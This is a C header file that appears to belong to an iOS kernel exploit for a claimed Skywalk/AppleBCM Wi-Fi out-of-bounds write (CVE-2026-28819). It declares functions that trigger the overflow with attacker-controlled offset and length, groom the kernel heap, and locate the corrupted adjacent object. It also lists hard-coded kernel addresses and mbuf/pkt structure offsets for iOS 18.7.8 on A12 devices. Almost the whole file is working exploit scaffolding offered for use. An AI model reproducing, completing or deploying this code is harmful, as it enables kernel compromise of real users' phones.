#ifndef SKYWALK_EXPLOIT_H
#define SKYWALK_EXPLOIT_H

#include "../Common/ExploitCore.h"

#ifdef __cplusplus
extern "C" {
#endif

// ============================================================================
// Skywalk / AppleBCM Wi-Fi OOB Write (CVE-2026-28819)
// ============================================================================

// Packet copy function signatures (from static analysis)
// pkt_copy#1: 0xfffffff0084531b4
// pkt_copy#2: 0xfffffff008451e0c
// flow_rx_agg_host: 0xfffffff00842dfa8

typedef struct {
    uint64_t pkt_copy1_addr;      // packet_copy #1
    uint64_t pkt_copy2_addr;      // packet_copy #2
    uint64_t flow_rx_agg_addr;    // flow_rx_agg_host
    uint64_t mbuf_data_offset;    // offset to mbuf data
    uint64_t mbuf_len_offset;     // offset to mbuf m_len
    uint64_t mbuf_pkthdr_len_offset; // offset to mbuf m_pkthdr.len
    uint64_t pkt_len_offset;      // offset to pkt length
    uint64_t pkt_data_offset;     // offset to pkt data pointer
} skywalk_offsets_t;

// Skywalk exploit context
typedef struct {
    skywalk_offsets_t offsets;
    io_connect_t wiFi_client;     // IOKit connection to Wi-Fi driver
    mach_port_t socket_fd;        // Raw socket for packet injection
    uint64_t kernel_base;         // Kernel base (post-KASLR)
    bool initialized;
} skywalk_ctx_t;

// Initialize Skywalk exploit (find offsets, open IOKit connection)
exploit_error_t skywalk_init(skywalk_ctx_t *ctx, uint64_t kernel_base);

// Trigger OOB write via crafted packet
// offset: user-controlled offset in source packet
// len: user-controlled length to copy
// dst_buf: destination buffer (kernel heap)
// src_buf: source buffer (controlled data)
exploit_error_t skywalk_trigger_oob_write(skywalk_ctx_t *ctx, 
                                           uint64_t offset, uint64_t len,
                                           uint64_t dst_buf, const void *src_buf, size_t src_len);

// Heap groom: allocate many mbufs/pkts to shape kalloc zones
exploit_error_t skywalk_heap_groom(skywalk_ctx_t *ctx, size_t target_size, int count);

// Find adjacent object after OOB overflow
exploit_error_t skywalk_find_corrupted_object(skywalk_ctx_t *ctx, uint64_t *corrupted_addr);

// Cleanup
void skywalk_cleanup(skywalk_ctx_t *ctx);

// ============================================================================
// Offsets for iOS 18.7.8 (22H352) - A12
// ============================================================================

// These are the function addresses in __TEXT_EXEC (slide will be added post-KASLR)
#define SKYWALK_PKT_COPY1_UNSLID    0x84531b4
#define SKYWALK_PKT_COPY2_UNSLID    0x8451e0c
#define SKYWALK_FLOW_RX_AGG_UNSLID  0x842dfa8

// mbuf structure offsets (standard xnu)
#define MBUF_M_DATA_OFFSET          0x0
#define MBUF_M_LEN_OFFSET           0x10
#define MBUF_M_PKTHDR_LEN_OFFSET    0x18
#define MBUF_M_NEXT_OFFSET          0x20
#define MBUF_M_NEXTPKT_OFFSET       0x28

// pkt structure offsets (Skywalk)
#define PKT_PKT_DATA_OFFSET         0x10
#define PKT_PKT_LEN_OFFSET          0x18
#define PKT_PKT_QOFFSET_OFFSET      0x20

#ifdef __cplusplus
}
#endif

#endif // SKYWALK_EXPLOIT_H